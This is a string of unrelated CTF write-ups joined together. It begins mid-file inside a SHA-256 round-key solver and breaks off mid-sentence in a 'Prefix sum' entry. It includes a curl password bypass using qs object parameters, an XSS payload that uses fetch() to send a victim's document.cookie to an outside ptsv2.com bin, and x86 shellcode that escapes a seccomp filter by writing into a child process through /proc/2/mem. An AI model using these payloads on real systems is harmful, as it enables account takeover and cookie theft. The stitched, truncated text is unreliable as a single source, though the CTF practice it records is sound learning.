self.k = [ 0x428a2f98, 0x71374491, 0xb5c0fbcf, 0xe9b5dba5, 0x3956c25b, 0x59f111f1, 0x923f82a4, 0xab1c5ed5, 0xd807aa98, 0x12835b01, 0x243185be, 0x550c7dc3, 0x72be5d74, 0x80deb1fe, 0x9bdc06a7, 0xc19bf174, 0xe49b69c1, 0xefbe4786, 0x0fc19dc6, 0x240ca1cc, 0x2de92c6f, 0x4a7484aa, 0x5cb0a9dc, 0x76f988da, 0x983e5152, 0xa831c66d, 0xb00327c8, 0xbf597fc7, 0xc6e00bf3, 0xd5a79147, 0x06ca6351, 0x14292967, 0x27b70a85, 0x2e1b2138, 0x4d2c6dfc, 0x53380d13, 0x650a7354, 0x766a0abb, 0x81c2c92e, 0x92722c85, 0xa2bfe8a1, 0xa81a664b, 0xc24b8b70, 0xc76c51a3, 0xd192e819, 0xd6990624, 0xf40e3585, 0x106aa070, 0x19a4c116, 0x1e376c08, 0x2748774c, 0x34b0bcb5, 0x391c0cb3, 0x4ed8aa4a, 0x5b9cca4f, 0x682e6ff3, 0x748f82ee, 0x78a5636f, 0x84c87814, 0x8cc70208, 0x90befffa, 0xa4506ceb, 0xbef9a3f7, 0xc67178f2 ]
def rotate_right(self, v, n): w = (v >> n) | (v << (32 - n)) return w & 0xffffffff
def compression_step(self, state, k_i, w_i): a, b, c, d, e, f, g, h = state s1 = self.rotate_right(e, 6) ^ self.rotate_right(e, 11) ^ self.rotate_right(e, 25) ch = (e & f) ^ (~e & g) tmp1 = (h + s1 + ch + k_i + w_i) & 0xffffffff s0 = self.rotate_right(a, 2) ^ self.rotate_right(a, 13) ^ self.rotate_right(a, 22) maj = (a & b) ^ (a & c) ^ (b & c) tmp2 = (tmp1 + s0 + maj) & 0xffffffff tmp3 = (d + tmp1) & 0xffffffff #print("Compression step:", list(map(hex, (tmp2, a, b, c, tmp3, e, f, g)))) return (tmp2, a, b, c, tmp3, e, f, g) def compression_step_inv(self, state, k_i, w_i): tmp2, a, b, c, tmp3, e, f, g = state s0 = self.rotate_right(a, 2) ^ self.rotate_right(a, 13) ^ self.rotate_right(a, 22) ch = (e & f) ^ (~e & g) s1 = self.rotate_right(e, 6) ^ self.rotate_right(e, 11) ^ self.rotate_right(e, 25) maj = (a & b) ^ (a & c) ^ (b & c) tmp1 = (tmp2 - s0 - maj) % 2**32 h = (tmp1 - s1 - ch - k_i - w_i) % 2**32 d = (tmp3 - tmp1) % 2**32 #print("Compression step:", list(map(hex, (a, b, c, d, e, f, g, h)))) return (a, b, c, d, e, f, g, h)
def compression(self, state, w, round_keys = None): if round_keys is None: round_keys = self.k for i in range(64): state = self.compression_step(state, round_keys[i], w[i]) return state
def compute_w(self, m): w = list(struct.unpack('>16L', m)) for _ in range(16, 64): a, b = w[-15], w[-2] s0 = self.rotate_right(a, 7) ^ self.rotate_right(a, 18) ^ (a >> 3) s1 = self.rotate_right(b, 17) ^ self.rotate_right(b, 19) ^ (b >> 10) s = (w[-16] + w[-7] + s0 + s1) & 0xffffffff w.append(s) return w
def padding(self, m): lm = len(m) lpad = struct.pack('>Q', 8 * lm) lenz = -(lm + 9) % 64 return m + bytes([0x80]) + bytes(lenz) + lpad
def sha256_raw(self, m, round_keys = None): if len(m) % 64 != 0: raise ValueError('m must be a multiple of 64 bytes') print(m) state = self.h for i in range(0, len(m), 64): block = m[i:i + 64] w = self.compute_w(block) s = self.compression(state, w, round_keys) state = [(x + y) & 0xffffffff for x, y in zip(state, s)] return state
def sha256(self, m, round_keys = None): m_padded = self.padding(m) state = self.sha256_raw(m_padded, round_keys) #print(state) return struct.pack('>8L', *state)```
## Flag `CTF{sHa_roUnD_k3Ys_caN_b3_r3vERseD}`
## BONUS: More constraintsFor discussion purposes, I will explain how you can add more constraints to the z3 model. If we manually try to encode the same string with random round keys, we notice a pattern in the first 8 rounds, and a general pattern that applies to every round:### Test Run 1```Compression step: ['0x8d09f2a5', '0x6a09e667', '0xbb67ae85', '0x3c6ef372', '0x29c94cfa', '0x510e527f', '0x9b05688c', '0x1f83d9ab']Compression step: ['0x30e24489', '0x8d09f2a5', '0x6a09e667', '0xbb67ae85', '0xf0a2ce84', '0x29c94cfa', '0x510e527f', '0x9b05688c']Compression step: ['0x9f70f7b', '0x30e24489', '0x8d09f2a5', '0x6a09e667', '0xbbf1a468', '0xf0a2ce84', '0x29c94cfa', '0x510e527f']Compression step: ['0xb01abed9', '0x9f70f7b', '0x30e24489', '0x8d09f2a5', '0xaaa8fe56', '0xbbf1a468', '0xf0a2ce84', '0x29c94cfa']Compression step: ['0x9050b03a', '0xb01abed9', '0x9f70f7b', '0x30e24489', '0xfc384a63', '0xaaa8fe56', '0xbbf1a468', '0xf0a2ce84']Compression step: ['0x88be8cc6', '0x9050b03a', '0xb01abed9', '0x9f70f7b', '0xc24dce0a', '0xfc384a63', '0xaaa8fe56', '0xbbf1a468']Compression step: ['0xde572332', '0x88be8cc6', '0x9050b03a', '0xb01abed9', '0x1a0a78ec', '0xc24dce0a', '0xfc384a63', '0xaaa8fe56']Compression step: ['0xe3f7aecc', '0xde572332', '0x88be8cc6', '0x9050b03a', '0x92bdc67', '0x1a0a78ec', '0xc24dce0a', '0xfc384a63']```### Test Run 2```Compression step: ['0x515734e9', '0x6a09e667', '0xbb67ae85', '0x3c6ef372', '0xee168f3e', '0x510e527f', '0x9b05688c', '0x1f83d9ab']Compression step: ['0xec1cf5af', '0x515734e9', '0x6a09e667', '0xbb67ae85', '0xfd775f76', '0xee168f3e', '0x510e527f', '0x9b05688c']Compression step: ['0x4a9eebae', '0xec1cf5af', '0x515734e9', '0x6a09e667', '0x7839c308', '0xfd775f76', '0xee168f3e', '0x510e527f']Compression step: ['0x9e95822c', '0x4a9eebae', '0xec1cf5af', '0x515734e9', '0xc051bae', '0x7839c308', '0xfd775f76', '0xee168f3e']Compression step: ['0xab7e4af5', '0x9e95822c', '0x4a9eebae', '0xec1cf5af', '0xcd6f75d3', '0xc051bae', '0x7839c308', '0xfd775f76']Compression step: ['0x896cb0e3', '0xab7e4af5', '0x9e95822c', '0x4a9eebae', '0x2691bc04', '0xcd6f75d3', '0xc051bae', '0x7839c308']Compression step: ['0x44def41f', '0x896cb0e3', '0xab7e4af5', '0x9e95822c', '0x2c7c7370', '0x2691bc04', '0xcd6f75d3', '0xc051bae']Compression step: ['0xd716cf20', '0x44def41f', '0x896cb0e3', '0xab7e4af5', '0xe20f7972', '0x2c7c7370', '0x2691bc04', '0xcd6f75d3']```In the first iteration of `compression_step`, there are 6 of the 8 values that stay the same, because the other 2 values are dependent on `k_i` which is the only thing that changes. In addition, a value from one iteration will show up in the spot to the right in the next iteration for certain indices. Combining these 2 facts, tells us this:```Compression step: ['x', '0x6a09e667', '0xbb67ae85', '0x3c6ef372', 'x', '0x510e527f', '0x9b05688c', '0x1f83d9ab']Compression step: ['x', 'x', '0x6a09e667', '0xbb67ae85', 'x', 'x', '0x510e527f', '0x9b05688c']Compression step: ['x', 'x', 'x', '0x6a09e667', 'x', 'x', 'x', '0x510e527f']Compression step: ['x', 'x', 'x', 'x', 'x', 'x', 'x', 'x']Compression step: ['x', 'x', 'x', 'x', 'x', 'x', 'x', 'x']Compression step: ['x', 'x', 'x', 'x', 'x', 'x', 'x', 'x']Compression step: ['x', 'x', 'x', 'x', 'x', 'x', 'x', 'x']Compression step: ['x', 'x', 'x', 'x', 'x', 'x', 'x', 'x']```Because these values stay the same for the first 3 rounds for every encryption, we can add these constraints to our model and have a more reliable script to find the round keys. |
# Log-me-in (Web)
## Introduction
This challenge comes with the following instructions:
> Log in to get the flag
> [Attachment](app.js)
> https://log-me-in.web.ctfcompetition.com/
The URL leads to this application:
We are able to login with standard `admin`/`admin` credentials:
Visiting https://log-me-in.web.ctfcompetition.com/flag displays this message:
The goal of this challenge is to find a way to sign in as Michelle.
## Observations
The login process matches this minimal cURL:
```bash$ curl -v https://log-me-in.web.ctfcompetition.com/login -d 'username=admin' -d 'password=admin'...< HTTP/2 302 < content-type: text/plain; charset=utf-8< x-powered-by: Express< location: /me< vary: Accept< set-cookie: session=eyJ1c2VybmFtZSI6ImFkbWluIiwiZmxhZyI6IjxzcGFuIGNsYXNzPXRleHQtZGFuZ2VyPk9ubHkgTWljaGVsbGUncyBhY2NvdW50IGhhcyB0aGUgZmxhZzwvc3Bhbj4ifQ==; path=/; httponly< set-cookie: session.sig=VT8ZiMQxGxmAu1BSzDOvO0c2AFQ; path=/; httponly< x-cloud-trace-context: 91788d8898e58c9ae9c4811129affb6c< date: Sun, 24 Aug 2020 19:41:42 GMT< server: Google Frontend< content-length: 25< * Connection #0 to host log-me-in.web.ctfcompetition.com left intactFound. Redirecting to /me```
We observe that the `session` cookie contains the message displayed on the Flag page:
```bash$ echo eyJ1c2VybmFtZSI6ImFkbWluIiwiZmxhZyI6IjxzcGFuIGNsYXNzPXRleHQtZGFuZ2VyPk9ubHkgTWljaGVsbGUncyBhY2NvdW50IGhhcyB0aGUgZmxhZzwvc3Bhbj4ifQ== | base64 -d{"username":"admin","flag":"<span>Only Michelle's account has the flag</span>"}```
## Exfiltration
The [app.js](app.js) attached in the description contains the same flaw as the [Pasteurize](https://github.com/weibell/ctf-google2020/tree/master/pasteurize) challenge:
```javascriptapp.use(bodyParser.urlencoded({ extended: true}))```
This leads to some interesting results:
```html$ curl -v https://log-me-in.web.ctfcompetition.com/login -d 'username[x]=' -d 'password[y]='...
<html>... <div class="alert alert-danger alert-dismissible show"> <h3>Error</h3> Unknown error: Error: ER_BAD_FIELD_ERROR: Unknown column 'x' in 'where clause' <button type="button" class="close" data-dismiss="alert">×</button> </div>...```
Unknown error: Error: ER_BAD_FIELD_ERROR: Unknown column 'x' in 'where clause'
`username`, `password` and `id` appear to be valid column names.
```bash$ curl -v https://log-me-in.web.ctfcompetition.com/login -d 'username[id]=' -d 'password[id]='...< set-cookie: session=eyJ1c2VybmFtZSI6ImFkbWluaXN0cmF0b3IiLCJmbGFnIjoiPHNwYW4gY2xhc3M9dGV4dC1kYW5nZXI+T25seSBNaWNoZWxsZSdzIGFjY291bnQgaGFzIHRoZSBmbGFnPC9zcGFuPiJ9; path=/; httponly...Found. Redirecting to /me
$ echo eyJ1c2VybmFtZSI6ImFkbWluaXN0cmF0b3IiLCJmbGFnIjoiPHNwYW4gY2xhc3M9dGV4dC1kYW5nZXI+T25seSBNaWNoZWxsZSdzIGFjY291bnQgaGFzIHRoZSBmbGFnPC9zcGFuPiJ9 | base64 -d{"username":"administrator","flag":"<span>Only Michelle's account has the flag</span>"}```
Note that this user `administrator` is different from `admin`.
This allows us to log in as `michelle` without providing a password and retrieving the flag from the cookie:
```bash$ curl -v https://log-me-in.web.ctfcompetition.com/login -d 'username=michelle' -d 'password[id]='...< set-cookie: session=eyJ1c2VybmFtZSI6Im1pY2hlbGxlIiwiZmxhZyI6IkNURnthLXByZW1pdW0tZWZmb3J0LWRlc2VydmVzLWEtcHJlbWl1bS1mbGFnfSJ9; path=/; httponly...Found. Redirecting to /me
$ echo eyJ1c2VybmFtZSI6Im1pY2hlbGxlIiwiZmxhZyI6IkNURnthLXByZW1pdW0tZWZmb3J0LWRlc2VydmVzLWEtcHJlbWl1bS1mbGFnfSJ9 | base64 -d{"username":"michelle","flag":"CTF{a-premium-effort-deserves-a-premium-flag}"}```
Flag: `CTF{a-premium-effort-deserves-a-premium-flag}` |
The flag is computed by a linear combination of gcd of cartesion products multipled by weighted sum of an encrypted array. Recognize that each position of array influences output linearly and independently. To find contribution of one idx in encrypted array, iterate through all possible GCD, 0 <= x <= N. For each GCD, iterate 0 <= k <= N, where k represents the number of positions x takes up. We can calculate possibilies of cartesion product based on this as f(k, x) = (N-k)^count(x) - f(k, factors of x for all factors) where count(x) is the number of values [0, N] whose gcd with x is x. The subtraction part of the equation can be memoized. This complexity is O(N^2 log(N)). See solve script. |
Upon connecting to the server, a private ECDSA key is generated. You have 72 signature oracle calls and then you have to provide a forged signature. Twist is that you get to XOR whatever you want with the private key before signature is applied - which allows us to derive the private key one byte at a time.
See writeup for details. |
1. We can see that a binary stream containing flag is given to us .2. But the trailing bits and the starting bits were missing. As we know that 1 byte = 8 bits therefore we can check after how many initial bits proper bytes are there( which came out to be after initial bits . 3. To check for proper final bits i took the length of whole binary stream and sliced its first bits . After that , i took out the length of the stream and took its modulus with 8 ( which came out to be 6) so our proper byte stream would be original_stream[2:-6]. After decoding it we get the flag in it. |
Solution:```# Topic: https://en.wikipedia.org/wiki/Modular_multiplicative_inverse# Extended Euclidean algorithmdef xgcd(x,y): a0 = 1; b0 = 0; a1 = 0; b1 = 1; if x < 0: x *= -1 a0 = -1 if y < 0: y *= -1 b1 = -1 if x < y: x, y, a0, b0, a1, b1 = y, x, a1, b1, a0, b0 while 1: times = x / y x -= times * y a0 -= times * a1 b0 -= times * b1 if x == 0: break x, y, a0, b0, a1, b1 = y, x, a1, b1, a0, b0 return [y, a1, b1]
# Find multiplicative inversedef invmod(x,p): [gcd, a, b] = xgcd(x,p) if gcd != 1: raise ValueError if a < 0: a += p return a
# Hardcode array from reverse.apkarray = [ 0x271986b, 0xa64239c9, 0x271ded4b, 0x1186143, 0xc0fa229f, 0x690e10bf, 0x28dca257, 0x16c699d1, 0x55a56ffd, 0x7eb870a1, 0xc5c9799f, 0x2f838e65]
# Find bytes of flagres = ""for elem in array: # Find multiplicative inverse a = invmod(elem, 0x100000000) # Dword -> chars s = 0 for i in range(4): res += chr((a >> s) & 0xFF) s += 8# Flagprint (res)``` |
# Hashbrown Caserole
Author: [roerohan](https://github.com/roerohan)
# Requirements
- Python
# Source
```Hashbrowns
Connect here:nc jh2i.com 50005```
# Exploitation
```pythonimport hashlibfrom pwn import remote
r = remote('jh2i.com', 50005)
def match_sha1(n): for i in range(0, 10**8): if i%1000000 == 0: print(i) if(hashlib.sha1(str(i).encode()).hexdigest()[:len(n)] == n): return i
def match_md5(n): for i in range(0, 10**8): if i%1000000 == 0: print(i) if(hashlib.md5(str(i).encode()).hexdigest()[:len(n)] == n): return i
while True: t = 'md5' x = r.recv(1024).decode().strip() print(x)
if 'sha1' in x: t = 'sha1'
if ('flag' in x): break
x = x.split(': ')[1]
res = 0 if t == 'md5': res = match_md5(x) else: res = match_sha1(x)
r.sendline(str(res)) print('Sending: ' + str(res)) print(r.recvline().decode())```
This is probably not the most efficient script, you could create a reverse dictionary and map it directly, but this works too. The script runs for several minutes and gives you the flag.
```bash$ python script.py......That casserole was DELICIOUS!!!! Here's your flag: flag{warm_casseroles_for_breakfast!!!}```
The flag is:
```flag{warm_casseroles_for_breakfast!!!}``` |
ERROR: type should be string, got "https://gist.github.com/cwgreene/8d6993f57e1ab426f1e360dee91eeff8\nSo we're presented with a process where we can execute arbitrary shellcode (yay syscalls!)but are restricted in which syscalls we can make.\n```cvoid setup_seccomp() { scmp_filter_ctx ctx; ctx = seccomp_init(SCMP_ACT_KILL); int ret = 0; ret |= seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 0); ret |= seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(open), 0); ret |= seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(close), 0); ret |= seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(stat), 0); ret |= seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(fstat), 0); ret |= seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(lstat), 0); ret |= seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(lseek), 0); ret |= seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(mprotect), 0); ret |= seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(brk), 0); ret |= seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(writev), 0); ret |= seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(access), 0); ret |= seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(sched_yield), 0); ret |= seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(dup), 0); ret |= seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(dup2), 0); ret |= seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(clone), 0); ret |= seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(fork), 0); ret |= seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(vfork), 0); ret |= seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(execve), 0); ret |= seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit), 0); ret |= seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(kill), 0); ret |= seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(chdir), 0); ret |= seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(fchdir), 0); ret |= seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(gettimeofday), 0); ret |= seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(getuid), 0); ret |= seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(getgid), 0); ret |= seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), 0); ret |= seccomp_load(ctx); if (ret) { exit(1); }}```\nof note, although we cannot call `read` we *can* invoke `write` and `open`.Furthermore, prior to initialization of the seccomp controls, a child process was forked.\n```cvoid check_flag() { while (1) { char buf[4] = \"\"; //int fd = check(open(\"/home/user/flag\", O_RDONLY), \"open(flag)\"); int fd = check(open(\"flag\", O_RDONLY), \"open(flag)\"); if (read(fd, buf, sizeof(buf)) != sizeof(buf)) { err(1, \"read(flag)\"); } close(fd); if (memcmp(buf, \"CTF{\", sizeof(buf)) != 0) { errx(1, \"flag doesn't start with CTF{\"); } sleep(1); }}\nint main(int argc, char *argv[]) { pid_t pid = check(fork(), \"fork\"); if (!pid) { while (1) { check_flag(); } return 0; }\n printf(\"[DEBUG] child pid: %d\\n\", pid); void_fn sc = read_shellcode(); setup_seccomp(); sc();\n return 0;}```\nSince we have file access, and we know the pid (given both by stdout, and the fact that it's always 2),we can simply access the child's TEXT section and overwrite the code that will be executed after the sleep.\nSo we have two payloads. The first is the one responsible for opening the child processes's memory, andthen writing the second payload which opens the flag file and writes it to stdout (which is shared withthe parent process).\nPayload1:```asm[BITS 64]\nmov rsi, [rbp-0xc]add rsp, -0x200mov rdi, rspmov rcx, '/proc/2/'mov [rdi], rcx\n; this was split into two secitons; because I thought I needed to dynamically update '/proc/$PID'mov dl, 'm'mov [rdi+8], dlmov dl, 'e'mov [rdi+9], dlmov dl, 'm'mov [rdi+10], dlmov dl, 0x0mov [rdi+11], dl\n;; Okay, we have the mem string; open memmov rax, 2mov rdx, 0mov rsi, 1 ; O_WRONLYsyscallmov r9, rax ; store filedescriptor\n; push new shellcode to stack; generate this code; from shell See \"Part 2\";; Put shell code into r10mov r10, DATA\n;; Seek to target locationmov rax, 8 ; lseekmov rdi, r9mov rsi, 0x004022e3 ; replace jmp after sleep with our codemov rdx, 0 ; SET_SEEKsyscall\n;; Write Shell codemov rax, 1mov rdi, r9lea rsi, [rel DATA]mov rdx, 100; sizeof(shellcode)syscall\n;; busy wait, let the other process do stuff, don't know how to yield;; don't know if HLT works, nor do I know 'sleep' location. Sorry sre's.mark: jmp mark ;mov rsi, [rbp-0xc]\nDATA:db 72, 184, 101, 114, 47, 102, 108, 97, 103, 0, 80, 72, 184, 47, 104, 111, 109, 101, 47, 117, 115, 80, 191, 1, 0, 0, 0, 72, 137, 230, 186, 15, 0, 0, 0, 184, 1, 0, 0, 0, 15, 5, 184, 2, 0, 0, 0, 72, 137, 231, 190, 0, 0, 0, 0, 186, 0, 0, 0, 0, 15, 5, 72, 137, 199, 72, 137, 230, 186, 100, 0, 0, 0, 184, 0, 0, 0, 0, 15, 5, 191, 1, 0, 0, 0, 72, 137, 230, 186, 100, 0, 0, 0, 184, 1, 0, 0, 0, 15, 5```\nPayload2 (technically it's the DATA section)```asm[BITS 64]\nmov rsi, [rbp-0xc]add rsp, -0x200mov rdi, rspmov rcx, '/proc/2/'mov [rdi], rcx\n; ;mov eax, esi;mov ecx, 10\n; 1s;div ecx;add edx, 30;mov [rdi+6], dl\n; 10s;div ecx;add edx, 30;ov [rdi+6], dl\n; 100s;div ecx;add edx, 30;mov [rdi+6], dl\n; 1000s;div ecx;add edx, 30;mov [rdi+6], dl; assume 4 or five digit PID, try again if fails\n;; think I need an indirect register for this;mov dl, '/';mov [rdi+8], dlmov dl, 'm'mov [rdi+8], dlmov dl, 'e'mov [rdi+9], dlmov dl, 'm'mov [rdi+10], dlmov dl, 0x0mov [rdi+11], dl\n;; Okay, we have the mem string; open memmov rax, 2mov rdx, 0mov rsi, 1 ; O_WRONLYsyscallmov r9, rax ; store filedescriptor\n; push new shellcode to stack; generate this code; from shell See \"Part 2\";; Put shell code into r10mov r10, DATA\n;; Seek to target locationmov rax, 8 ; lseekmov rdi, r9mov rsi, 0x004022e3 ; replace jmp after sleep with our codemov rdx, 0 ; SET_SEEKsyscall\n;; Write Shell codemov rax, 1mov rdi, r9lea rsi, [rel DATA]mov rdx, 100; sizeof(shellcode)syscall\n;; busy wait, let the other process do stuff, don't know how to yield;; don't know if HLT works, nor do I know 'sleep' location. Sorry sre's.mark: jmp mark ;mov rsi, [rbp-0xc]\nDATA:db 72, 184, 101, 114, 47, 102, 108, 97, 103, 0, 80, 72, 184, 47, 104, 111, 109, 101, 47, 117, 115, 80, 191, 1, 0, 0, 0, 72, 137, 230, 186, 15, 0, 0, 0, 184, 1, 0, 0, 0, 15, 5, 184, 2, 0, 0, 0, 72, 137, 231, 190, 0, 0, 0, 0, 186, 0, 0, 0, 0, 15, 5, 72, 137, 199, 72, 137, 230, 186, 100, 0, 0, 0, 184, 0, 0, 0, 0, 15, 5, 191, 1, 0, 0, 0, 72, 137, 230, 186, 100, 0, 0, 0, 184, 1, 0, 0, 0, 15, 5```" |
# Pasteurize (Web)
## Introduction
This beginner challenge comes with the following instructions:
> This doesn't look secure. I wouldn't put even the littlest secret in here. My source tells me that third parties might have implanted it with their little treats already. Can you prove me right?
> https://pasteurize.web.ctfcompetition.com/
The URL leads to a paste-sharing web application:
After submitting some input ...
... we are redirected to https://pasteurize.web.ctfcompetition.com/96eaf657-15c6-49f9-9c56-396bdc4fec88:
Note that the `onload`-attribute is sanitized to prevent cross-site scripting attacks.
By submitting an `` tag with a URL we control and clicking on "share with TJMike", we observe that there is a second IP address making a request. Thus, it is clear that the goal of this challenge is to find an XSS attack vector in order to extract the flag from TJMike.
## Observations
The source code reveals how the input is parsed and displayed:```html$ curl https://pasteurize.web.ctfcompetition.com/96eaf657-15c6-49f9-9c56-396bdc4fec88
<html>
<head> <link href="/static/styles/style.css" rel="stylesheet"> <link rel="stylesheet" href="/static/styles/bootstrap.css"> <script src="/static/scripts/dompurify.js"></script> <script src="/static/scripts/captcha.js"></script></head>
<body> ... <div class=container> <div class="container pt-5 w-75">
<div class=card> <div class="card-header"> </div> <div class="card-body"> <div id="note-content"></div> </div>
...
</div>
<script> const note = "Hello \x3Cimg src=\"http://example.com\" onload=\"alert()\"\x3E"; const note_id = "96eaf657-15c6-49f9-9c56-396bdc4fec88"; const note_el = document.getElementById('note-content'); const note_url_el = document.getElementById('note-title'); const clean = DOMPurify.sanitize(note); note_el.innerHTML = clean; note_url_el.href = `/${note_id}`; note_url_el.innerHTML = `${note_id}`; </script>
...
</body>
</html>```
The "TODO: Fix b/1337 in /source that could lead to XSS" comment suggests a potential XSS vulnerability and points to https://pasteurize.web.ctfcompetition.com/source:
```javascript$ curl https://pasteurize.web.ctfcompetition.com/sourceconst express = require('express');const bodyParser = require('body-parser');const utils = require('./utils');const Recaptcha = require('express-recaptcha').RecaptchaV3;const uuidv4 = require('uuid').v4;const Datastore = require('@google-cloud/datastore').Datastore;
/* Just reCAPTCHA stuff. */const CAPTCHA_SITE_KEY = process.env.CAPTCHA_SITE_KEY || 'site-key';const CAPTCHA_SECRET_KEY = process.env.CAPTCHA_SECRET_KEY || 'secret-key';console.log("Captcha(%s, %s)", CAPTCHA_SECRET_KEY, CAPTCHA_SITE_KEY);const recaptcha = new Recaptcha(CAPTCHA_SITE_KEY, CAPTCHA_SECRET_KEY, { 'hl': 'en', callback: 'captcha_cb'});
/* Choo Choo! */const app = express();app.set('view engine', 'ejs');app.set('strict routing', true);app.use(utils.domains_mw);app.use('/static', express.static('static', { etag: true, maxAge: 300 * 1000,}));
/* They say reCAPTCHA needs those. But does it? */app.use(bodyParser.urlencoded({ extended: true}));
/* Just a datastore. I would be surprised if it's fragile. */class Database { constructor() { this._db = new Datastore({ namespace: 'littlethings' }); } add_note(note_id, content) { const note = { note_id: note_id, owner: 'guest', content: content, public: 1, created: Date.now() } return this._db.save({ key: this._db.key(['Note', note_id]), data: note, excludeFromIndexes: ['content'] }); } async get_note(note_id) { const key = this._db.key(['Note', note_id]); let note; try { note = await this._db.get(key); } catch (e) { console.error(e); return null; } if (!note || note.length < 1) { return null; } note = note[0]; if (note === undefined || note.public !== 1) { return null; } return note; }}
const DB = new Database();
/* Who wants a slice? */const escape_string = unsafe => JSON.stringify(unsafe).slice(1, -1) .replace(/</g, '\\x3C').replace(/>/g, '\\x3E');
/* o/ */app.get('/', (req, res) => { res.render('index');});
/* \o/ [x] */app.post('/', async (req, res) => { const note = req.body.content; if (!note) { return res.status(500).send("Nothing to add"); } if (note.length > 2000) { res.status(500); return res.send("The note is too big"); }
const note_id = uuidv4(); try { const result = await DB.add_note(note_id, note); if (!result) { res.status(500); console.error(result); return res.send("Something went wrong..."); } } catch (err) { res.status(500); console.error(err); return res.send("Something went wrong..."); } await utils.sleep(500); return res.redirect(`/${note_id}`);});
/* Make sure to properly escape the note! */app.get('/:id([a-f0-9\-]{36})', recaptcha.middleware.render, utils.cache_mw, async (req, res) => { const note_id = req.params.id; const note = await DB.get_note(note_id);
if (note == null) { return res.status(404).send("Paste not found or access has been denied."); }
const unsafe_content = note.content; const safe_content = escape_string(unsafe_content);
res.render('note_public', { content: safe_content, id: note_id, captcha: res.recaptcha });});
/* Share your pastes with TJMike? */app.post('/report/:id([a-f0-9\-]{36})', recaptcha.middleware.verify, (req, res) => { const id = req.params.id;
/* No robots please! */ if (req.recaptcha.error) { console.error(req.recaptcha.error); return res.redirect(`/${id}?msg=Something+wrong+with+Captcha+:(`); }
/* Make TJMike visit the paste */ utils.visit(id, req);
res.redirect(`/${id}?msg=TJMike?+will+appreciate+your+paste+shortly.`);});
/* This is my source I was telling you about! */app.get('/source', (req, res) => { res.set("Content-type", "text/plain; charset=utf-8"); res.sendFile(__filename);});
/* Let it begin! */const PORT = process.env.PORT || 8080;
app.listen(PORT, () => { console.log(`App listening on port ${PORT}`); console.log('Press Ctrl+C to quit.');});
module.exports = app;```
There are multiple measures in place to stop XSS attacks:* Angle brackets are converted to "safe" characters* Paste contents are sanitized with [DOMPurify](https://github.com/cure53/DOMPurify), preventing inline JavaScript code
## Exfiltration
While it is unclear what "Fix b/1337" refers to exactly, the source code reveals an important security flaw:
```javascript/* They say reCAPTCHA needs those. But does it? */app.use(bodyParser.urlencoded({ extended: true}));
...
const note = req.body.content;if (!note) { return res.status(500).send("Nothing to add");}```
The [Express documentation](http://expressjs.com/en/resources/middleware/body-parser.html) explains:> extended
> The extended option allows to choose between parsing the URL-encoded data with the querystring library (when false) or the qs library (when true). The “extended” syntax allows for rich objects and arrays to be encoded into the URL-encoded format, allowing for a JSON-like experience with URL-encoded. For more information, please see the qs library.
Pastes can be created with this minimal cURL:```bash$ curl -X POST -d "content=Hello+world!" https://pasteurize.web.ctfcompetition.com/Found. Redirecting to /b9324f5c-b4e6-4345-9900-7c9ec4131333```
Empty pastes are blocked:```bash$ curl -X POST -d "content=" https://pasteurize.web.ctfcompetition.com/Nothing to add```
After reading up on the [qs](https://www.npmjs.com/package/qs) library, we observe the following behavior:```html$ curl -X POST -d "content[]=" https://pasteurize.web.ctfcompetition.com/Found. Redirecting to /78246dc4-e631-456c-a8e0-eb56f3429330
$ curl https://pasteurize.web.ctfcompetition.com/78246dc4-e631-456c-a8e0-eb56f3429330... <script> const note = """";...```
This enables our XSS attack vector:```html$ curl -X POST -d "content[]=;alert('XSS');" https://pasteurize.web.ctfcompetition.com/Found. Redirecting to /9b12b762-9440-40e7-8476-bb3606ad27ed
$ curl https://pasteurize.web.ctfcompetition.com/9b12b762-9440-40e7-8476-bb3606ad27ed... <script> const note = "";alert('XSS');"";...```
After some trial and error, we observe that the cookie is contained in TJMike's cookie. We will use [PTS](https://ptsv2.com/) to extract it. Note that we have to convert "+" to "%2b".```bash$ curl -X POST -d "content[]=;fetch('https://ptsv2.com/t/xxxxx-xxxxxxxxxx/post?c='%2bdocument.cookie);" \ https://pasteurize.web.ctfcompetition.com/```
After sharing paste with TJMIke, we can finally extract his cookie using PTS:
Flag: `CTF{Express_t0_Tr0ubl3s}` |
# Prefix sum (ByteCTF 2020)
Check the challenge [here](http://bytectf.eastus.cloudapp.azure.com/challenges#Prefix%20Sums-15)
## Description
Here’s your problem. Can you solve it? And this is the MD5 hash of the flag so you know you got it right:`6046f30cf9e942ed47c88621a69ed0b2`
File: [prefix_sums.pdf](http://bytectf.eastus.cloudapp.azure.com/files/383cb02ca35e14dc7c25fd5be0bcfafa/prefix_sums.pdf)
## Real description
The pdf contains the real description of the problem. The short version is:
